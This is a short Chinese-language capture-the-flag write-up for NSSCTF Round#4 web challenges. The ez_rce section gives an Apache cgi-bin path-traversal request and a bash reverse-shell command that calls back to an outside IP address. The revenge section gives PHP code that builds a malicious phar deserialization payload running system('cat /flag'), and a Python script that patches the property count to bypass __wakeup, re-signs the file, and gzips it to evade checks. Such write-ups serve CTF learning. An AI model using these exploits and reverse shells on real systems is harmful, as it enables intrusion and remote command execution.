NSSCTF Round#4
1zweb
直接非预期/flag
ez_rce
扫后台有cgin-bin
,直接apache漏洞。反弹shell:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
echo;bash -c 'bash -i >&/dev/tcp/47.96.173.116/2333 0>&1'
发现根目录那个是个文件夹,而且里面很多文件夹,直接cat /run.sh
可以看到flag的位置。
1zweb(revenge)
修复了非预期。简单的pop链,直接phar。
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct()
{
$this->ljt="Misc";
$this->dky="Re";
$this->cmd = "phpinfo();system('cat /flag');";
}
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new LoveNss();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "asd"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
绕过wakeup
,只能用老方法了。关键就是怎么修改phar文件了。刚好在强网杯找了一个脚本修改phar文件,所以直接脚本改就行。
from hashlib import sha1
f1 = open('phar.phar','rb').read()#phar文件
file = f1.replace(b'"LoveNss":3',b'"LoveNss":4')#修改的内容
text = file[:-28] # 读取开始到末尾除签名外内容
last = file[-8:] # 读取最后8位的GBMB和签名flag
new_file = text + sha1(text).digest() + last # 生成新的文件内容,主要是此时Sha1正确了。
open('phar2.phar', "wb").write(new_file)
然后再gzip压缩一下绕过检测。